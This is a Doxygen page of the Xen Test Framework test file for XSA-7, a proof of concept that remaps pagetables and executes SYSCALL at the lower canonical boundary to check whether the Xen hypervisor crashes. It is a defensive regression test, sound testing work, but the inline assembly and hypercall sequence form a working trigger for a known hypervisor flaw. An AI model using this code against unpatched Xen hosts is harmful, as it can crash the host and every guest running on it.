Xen Test Framework
tests
xsa-7
main.c
Go to the documentation of this file.
1
69
#include <xtf.h>
70
71
const
char
test_title
[] =
"XSA-7 PoC"
;
72
73
void
stub
(
void
);
74
75
/*
76
* A page to be mapped at the lower canonical boundary. The attack needs a
77
* SYSCALL instruction at the end. The rest may be used as a stack by Xen,
78
* including a top-of-stack block. Poison with 0xcc to to make the pointers
79
* in the top-of-stack block be non-canonical.
80
*/
81
asm
(
".align 4096;"
82
".skip 4096 - (.L_page_end - stub), 0xcc;"
83
84
"stub: "
85
" syscall;"
86
".L_page_end:"
87
88
_ASM_EXTABLE_HANDLER
(0x0000800000000000, .L_stub_done,
ex_gp
)
89
);
90
91
bool
ex_gp
(
struct
cpu_regs *regs,
const
struct
extable_entry
*ex)
92
{
93
if
( regs->entry_vector ==
X86_EXC_GP
&& regs->error_code == 0 )
94
{
95
regs->_rsp = regs->rdx;
/* Restore %rsp from the xchg */
96
regs->ip = ex->
fixup
;
97
98
return
true
;
99
}
100
101
return
false
;
102
}
103
104
void
test_main
(
void
)
105
{
106
static
intpte_t
l3t[
L1_PT_ENTRIES
]
__page_aligned_bss
;
107
static
intpte_t
l2t
[
L2_PT_ENTRIES
]
__page_aligned_bss
;
108
static
intpte_t
l1t[L3_PT_ENTRIES]
__page_aligned_bss
;
109
110
intpte_t
*l4t =
_p
(
pv_start_info
->
pt_base
);
111
int
rc;
112
113
/* Map the page containing stub_fn at the lower canonical boundary. */
114
l1t[511] =
pte_from_virt
(
stub
,
PF_SYM
(AD, RW, P));
115
l2t
[511] =
pte_from_virt
(l1t,
PF_SYM
(AD, RW, P));
116
l3t[511] =
pte_from_virt
(
l2t
,
PF_SYM
(AD, RW, P));
117
118
if
(
hypercall_update_va_mapping
(
119
_u
(l1t),
pte_from_virt
(l1t,
PF_SYM
(AD, P)), 0) )
120
return
xtf_error
(
"Error: Can't remap l1t as R/O\n"
);
121
if
(
hypercall_update_va_mapping
(
122
_u
(
l2t
),
pte_from_virt
(
l2t
,
PF_SYM
(AD, P)), 0) )
123
return
xtf_error
(
"Error: Can't remap l2t as R/O\n"
);
124
if
(
hypercall_update_va_mapping
(
125
_u
(l3t),
pte_from_virt
(l3t,
PF_SYM
(AD, P)), 0) )
126
return
xtf_error
(
"Error: Can't remap l3t as R/O\n"
);
127
128
mmu_update_t
mu[] = {
129
{
130
.
ptr
=
virt_to_maddr
(&l4t[255]),
131
.val =
pte_from_virt
(l3t,
PF_SYM
(AD, RW, P)),
132
},
133
};
134
135
rc =
hypercall_mmu_update
(mu,
ARRAY_SIZE
(mu),
NULL
,
DOMID_SELF
);
136
if
( rc )
137
return
xtf_error
(
"Error: mapping buffer failed: %d\n"
, rc);
138
139
/*
140
* The attack run uses SYSCALL, so executes one hypercall before getting
141
* into trouble. Use XENVER_version for speed and to avoid side effects.
142
*
143
* Load the bad stack by XCHG-ing %rsp, so ex_gp() can recover the good
144
* stack. Then jump to stub()'s alias beside the low canonincal boundary.
145
*/
146
register
unsigned
long
r11
asm
(
"r11"
);
147
unsigned
long
tmp;
148
asm
volatile
(
149
" xchg %[stk], %%rsp;"
150
" jmp *%[stub];"
151
".L_stub_done:"
152
:
"=a"
(tmp),
"=D"
(tmp),
"=S"
(tmp),
/* Hypercall clobbers */
153
"=c"
(tmp),
"=r"
(r11),
/* SYSCALL clobbers */
154
[stk]
"=&d"
(tmp)
/* XCHG clobber */
155
:
"a"
(
__HYPERVISOR_xen_version
),
156
"D"
(
XENVER_version
),
157
"S"
(
NULL
),
158
[
stub
]
"r"
(
_p
(0x00007ffffffff000ULL) + (
_u
(
stub
) & ~PAGE_MASK)),
159
"[stk]"
(0x00007fffffffff00UL)
160
);
161
162
/*
163
* If we're still alive, Xen didn't crash, and ex_gp() (registered by the
164
* non-canonical %rip) did trigger and fix up properly.
165
*/
166
xtf_success
(
"Success: Not vulnerble to XSA-7\n"
);
167
}
168
169
/*
170
* Local variables:
171
* mode: C
172
* c-file-style: "BSD"
173
* c-basic-offset: 4
174
* tab-width: 4
175
* indent-tabs-mode: nil
176
* End:
177
*/
pv_start_info
xen_pv_start_info_t * pv_start_info
Definition:
traps.c:14
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:301
test_title
const char test_title[]
The title of the test.
Definition:
main.c:13
__page_aligned_bss
#define __page_aligned_bss
Definition:
compiler.h:37
hypercall_mmu_update
static long hypercall_mmu_update(const mmu_update_t reqs[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition:
hypercall.h:61
hypercall_update_va_mapping
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition:
hypercall.h:116
_ASM_EXTABLE_HANDLER
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition:
extable.h:38
ARRAY_SIZE
#define ARRAY_SIZE(a)
Definition:
lib.h:8
virt_to_maddr
uint64_t virt_to_maddr(const void *va)
_p
#define _p(v)
Express an abitrary integer v as void *.
Definition:
numbers.h:48
_u
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition:
numbers.h:53
L2_PT_ENTRIES
#define L2_PT_ENTRIES
Definition:
page.h:70
L1_PT_ENTRIES
#define L1_PT_ENTRIES
Definition:
page.h:69
intpte_t
unsigned long intpte_t
Definition:
page.h:152
pte_from_virt
intpte_t pte_from_virt(const void *va, uint64_t flags)
X86_EXC_GP
#define X86_EXC_GP
Definition:
processor.h:115
xtf_error
void xtf_error(const char *fmt,...)
Report a test error.
Definition:
report.c:80
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
NULL
#define NULL
Definition:
stddef.h:12
extable_entry
Exception table entry.
Definition:
extable.h:65
extable_entry::fixup
unsigned long fixup
Fixup address.
Definition:
extable.h:67
mmu_update
Definition:
xen.h:245
mmu_update::ptr
uint64_t ptr
Definition:
xen.h:249
stub
Definition:
main.c:189
xen_pv_start_info::pt_base
unsigned long pt_base
Definition:
xen.h:223
PF_SYM
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
Definition:
symbolic-const.h:108
XENVER_version
#define XENVER_version
Definition:
version.h:8
DOMID_SELF
#define DOMID_SELF
Definition:
xen.h:70
__HYPERVISOR_xen_version
#define __HYPERVISOR_xen_version
Definition:
xen.h:30
ex_gp
bool ex_gp(struct cpu_regs *regs, const struct extable_entry *ex)
Definition:
main.c:91
stub
void stub(void)
l2t
intpte_t l2t[512]
Generated by
1.9.4